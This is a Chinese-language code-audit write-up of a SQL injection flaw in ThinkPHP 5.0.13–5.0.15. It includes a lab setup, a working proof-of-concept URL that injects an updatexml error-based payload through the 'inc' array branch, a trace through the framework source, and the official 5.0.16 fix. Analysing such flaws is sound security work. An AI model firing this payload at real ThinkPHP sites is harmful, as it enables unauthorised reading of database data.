ThinkPHP 5.0.15 SQL注入漏洞
漏洞简介
漏洞成因主要是因为构造sql语句的时候使用了字符拼接,然后对参数的处理不够严格导致恶意字符串插入到sql语句中。
poc
http://127.0.0.1:8000/?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1
漏洞影响版本:
- 5.0.13<=ThinkPHP<=5.0.15
环境配置
- 安装thinkphp5.0.15
- 创建并连接数据库
create database data;
use data;
create table users(
id int primary key auto_increment,
username varchar(50) not null
- 在 /application/config.php中开启app_debug和 app_trace选项

- 在thinkphp的Index控制器中插入以下代码
$username = request()->get('username/a');
$res = db('users')->insert(['username' => $username]);
var_dump($res);
模拟用户注册时将用户名写入数据库的功能
代码审计
第一部分:处理输入
首先会在Index控制器里进入get()方法
index()
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$username = request()->get('username/a');
$res = db('users')->insert(['username' => $username]);
var_dump($res);
return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>';
}
}
首先这里get请求了一个参数username,然后传给了get()方法(这个方法其实就是进行数据过滤和处理的)。并将返回结果赋值给了$username,然后传给了insert()函数,显然这个insert()函数是一个与数据库操作有关的函数。如果能通过get函数表明我们就能控制insert()函数的参数了。
- /a表示转换为数组
- 注:插入的语句必须在return之前,不然不会执行
get()
public function get($name = '', $default = null, $filter = '')
{
if (empty($this->get)) {
$this->get = $_GET;
}
if (is_array($name)) {
$this->param = [];
$this->mergeParam = false;
return $this->get = array_merge($this->get, $name);
}
return $this->input($this->get, $name, $default, $filter);
}
由于name参数不是数组,于是就不会进if循环,而是会调用下面的input()方法
input()
/**
* 获取变量 支持过滤和默认值
* @param array $data 数据源
* @param string|false $name 字段名
* @param mixed $default 默认值
* @param string|array $filter 过滤函数
* @return mixed
*/
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
在这个input方法中主要调用了filterValue()和filterExp()来对输入进行一个检测,然后调用typeCast()将数据强制转换为数组,最后将处理过滤后的数据返回.
以下是上面提到的三个函数。
filterValue()
/**
* 递归过滤给定的值
* @param mixed $value 键值
* @param mixed $key 键名
* @param array $filters 过滤方法+默认值
* @return mixed
*/
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $this->filterExp($value);
}
filterExp()
/**
* 过滤表单中的表达式
* @param string $value
* @return void
*/
public function filterExp(&$value)
{
// 过滤查询特殊字符
if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOT EXISTS|NOTEXISTS|EXISTS|NOT NULL|NOTNULL|NULL|BETWEEN TIME|NOT BETWEEN TIME|NOTBETWEEN TIME|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
// TODO 其他安全过滤
}
typeCast()
/**
* 强制类型转换
* @param string $data
* @param string $type
* @return mixed
*/
private function typeCast(&$data, $type)
{
switch (strtolower($type)) {
// 数组
case 'a':
$data = (array) $data;
break;
// 数字
case 'd':
$data = (int) $data;
break;
// 浮点
case 'f':
$data = (float) $data;
break;
// 布尔
case 'b':
$data = (boolean) $data;
break;
// 字符串
case 's':
default:
if (is_scalar($data)) {
$data = (string) $data;
} else {
throw new \InvalidArgumentException('variable type error:' . gettype($data));
}
}
}
第二部分:初始化mysql
回到最开始,代码在执行insert()函数之前还调用了db('users')来对数据库进行初始化,这里的参数users表示指定表名为'users'.
db()
/**
* 实例化数据库类
* @param string $name 操作的数据表名称(不含前缀)
* @param array|string $config 数据库配置参数
* @param bool $force 是否强制重新连接
* @return \think\db\Query
*/
function db($name = '', $config = [], $force = false)
{
return Db::connect($config, $force)->name($name);
}
}
这里直接调了Db::connect()获取数据库对象,紧接着调用了这个对象的name()方法
connect()
/**
* 数据库初始化,并取得数据库类实例
* @access public
* @param mixed $config 连接配置
* @param bool|string $name 连接标识 true 强制重新连接
* @return Connection
* @throws Exception
*/
public static function connect($config = [], $name = false)
{
if (false === $name) {
$name = md5(serialize($config));
}
if (true === $name || !isset(self::$instance[$name])) {
// 解析连接参数 支持数组和字符串
$options = self::parseConfig($config);
if (empty($options['type'])) {
throw new \InvalidArgumentException('Undefined db type');
}
$class = false !== strpos($options['type'], '\\') ?
$options['type'] :
'\\think\\db\\connector\\' . ucwords($options['type']);
// 记录初始化信息
if (App::$debug) {
Log::record('[ DB ] INIT ' . $options['type'], 'info');
}
if (true === $name) {
$name = md5(serialize($config));
}
self::$instance[$name] = new $class($options);
}
return self::$instance[$name];
}
在这个函数中我们会进入第二个if循环,最终返回mysql实例化对象
然后就是调用name()方法,参数$name就是表名user
但是由于mysql类中没有name方法,于是会触发调用其父类(thinkphp/library/think/db/Connection.php)的__call()魔术方法
__call()
public function __call($method, $args)
{
return call_user_func_array([$this->getQuery(), $method], $args);
}
这个方法会调用call_user_func_array()动态调用getQuery()函数,并返回一个
Query对象,然后再去调Query的name方法
getQuery()
protected function getQuery()
{
$class = $this->config['query'];
return new $class($this);
}
Quey::name()
public function name($name)
{
$this->name = $name;
return $this;
}
至此数据库的初始化就完成了
第三部分:sql查询
这里就是调用insert()来插入数据了,这里我们的参数是可控的
insert()
/**
* 插入记录
* @access public
* @param mixed $data 数据
* @param boolean $replace 是否replace
* @param boolean $getLastInsID 返回自增主键
* @param string $sequence 自增序列名
* @return integer|string
*/
public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
// 分析查询表达式
$options = $this->parseExpress();
$data = array_merge($options['data'], $data);
// 生成SQL语句
$sql = $this->builder->insert($data, $options, $replace);
// 获取参数绑定
$bind = $this->getBind();
if ($options['fetch_sql']) {
// 获取实际执行的SQL语句
return $this->connection->getRealSql($sql, $bind);
}
// 执行操作
$result = 0 === $sql ? 0 : $this->execute($sql, $bind, $this);
if ($result) {
$sequence = $sequence ?: (isset($options['sequence']) ? $options['sequence'] : null);
$lastInsId = $this->getLastInsID($sequence);
if ($lastInsId) {
$pk = $this->getPk($options);
if (is_string($pk)) {
$data[$pk] = $lastInsId;
}
}
$options['data'] = $data;
$this->trigger('after_insert', $options);
if ($getLastInsID) {
return $lastInsId;
}
}
return $result;
}
这个函数就是处理sql查询的主函数,我们要关注的函数是builder::insert(),也就是生成sql语句的函数
builder::insert()
/**
* 生成insert SQL
* @access public
* @param array $data 数据
* @param array $options 表达式
* @param bool $replace 是否replace
* @return string
*/
public function insert(array $data, $options = [], $replace = false)
{
// 分析并处理数据
$data = $this->parseData($data, $options);
if (empty($data)) {
return 0;
}
$fields = array_keys($data);
$values = array_values($data);
$sql = str_replace(
['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
[
$replace ? 'REPLACE' : 'INSERT',
$this->parseTable($options['table'], $options),
implode(' , ', $fields),
implode(' , ', $values),
$this->parseComment($options['comment']),
], $this->insertSql);
return $sql;
}
这个函数主要逻辑就是先调用parseData()来处理数据,然后$fields = array_keys($data);来获取$data的所有键名,$values = array_values($data);来获取$data的所有值,最后用str_replace()拼接关键词,构造最终的sql语句。
parseData()
/**
* 数据分析
* @access protected
* @param array $data 数据
* @param array $options 查询参数
* @return array
* @throws Exception
*/
/**
* 数据分析
* @access protected
* @param array $data 数据
* @param array $options 查询参数
* @return array
* @throws Exception
*/
protected function parseData($data, $options)
{
if (empty($data)) {
return [];
}
// 获取绑定信息
$bind = $this->query->getFieldsBind($options['table']);
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
}
$result = [];
foreach ($data as $key => $val) {
if ('*' != $options['field'] && !in_array($key, $fields, true)) {
continue;
}
$item = $this->parseKey($key, $options, true);
if ($val instanceof Expression) {
$result[$item] = $val->getValue();
continue;
} elseif (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {
switch (strtolower($val[0])) {
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
case 'exp':
$result[$item] = $val[1];
break;
}
} elseif (is_scalar($val)) {
// 过滤非标量数据
if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$key = str_replace('.', '_', $key);
$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':data__' . $key;
}
}
}
return $result;
}
它对$data数组做了一个foreach循环,这里满足is_array($val) && !empty($val)所以会进入switch语句,如果$var[0]='inc'那么就会调用
parseKey()对$key[0]进行处理,但其实parseKey()并没有对数据进行过滤,还是会返回初始值,再来看floatval()函数,它会将参数转换为浮点数类型,那么它返回的值就是:$key[0] + $val[1]
也就是:username + updatexml(1,concat(0x7e,user(),0x7e),1)
表示在username字段下增加数据updatexml(1,concat(0x7e,user(),0x7e),1)
接下来这两段代码获取$data的键和值
$fields = array_keys($data); //uername
$values = array_values($data); //updatexml(1,concat(0x7e,user(),0x7e),1)+1
然后调用str_replace()函数将初始的sql语句进行替换关键词
protected $insertSql = '%INSERT% INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT%';
替换后,我们构造的sql语句就是
INSERT INTO `users` (`username`) VALUES (updatexml(1,concat(0x7e,user(),0x7e),1)+1)
漏洞复现
poc
http://localhost/think-5.0.22/public/index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1

修复方案
官方的修复方案是修改parseData()switch语句的逻辑
switch (strtolower($val[0])) {
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
case 'exp':
$result[$item] = $val[1];
break;
}
改为(5.0.16的修复方法)
switch (strtolower($val[0])) {
case 'inc':
if ($key == $val[1]) {
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
}
break;
case 'dec':
if ($key == $val[1]) {
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
}
break;
case 'exp':
$result[$item] = $val[1];
break
}
多加了个if判断,$key == $val[1],这里的$key为键名是固定的,就导致没办法在$val[1])处传恶意代码

浙公网安备 33010602011771号